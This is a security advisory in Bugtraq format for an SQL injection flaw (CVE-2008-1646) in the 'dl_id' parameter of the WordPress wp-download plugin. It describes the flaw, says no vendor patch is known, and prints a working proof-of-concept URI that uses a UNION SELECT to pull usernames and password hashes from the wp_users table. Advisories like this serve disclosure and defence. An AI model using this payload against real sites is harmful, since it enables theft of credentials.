WordPress 'wp-download' Plugin 'dl_id' Parameter SQL Injection Vulnerability

Bugtraq ID:	28516
Class:	Input Validation Error
CVE:	CVE-2008-1646
Remote:	Yes
Local:	No
Published:	Mar 31 2008 12:00AM
Updated:	May 07 2015 05:31PM
Credit:	BL4CK
Vulnerable:	WordPress wp-download Module 1.2
Not Vulnerable:

WordPress 'wp-download' Plugin 'dl_id' Parameter SQL Injection Vulnerability

The WordPress 'wp-download' plugin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

WordPress 'wp-download' Plugin 'dl_id' Parameter SQL Injection Vulnerability

An attacker can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.com/wp-content/plugins/wp-download.php?dl_id=null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*

WordPress 'wp-download' Plugin 'dl_id' Parameter SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

WordPress 'wp-download' Plugin 'dl_id' Parameter SQL Injection Vulnerability

References:

• Wordpress church_admin Plugin "id" Cross-Site Scripting Vulnerability (Sammy Forgit)
  
• wp-download Homepage (Wordpress wp-download)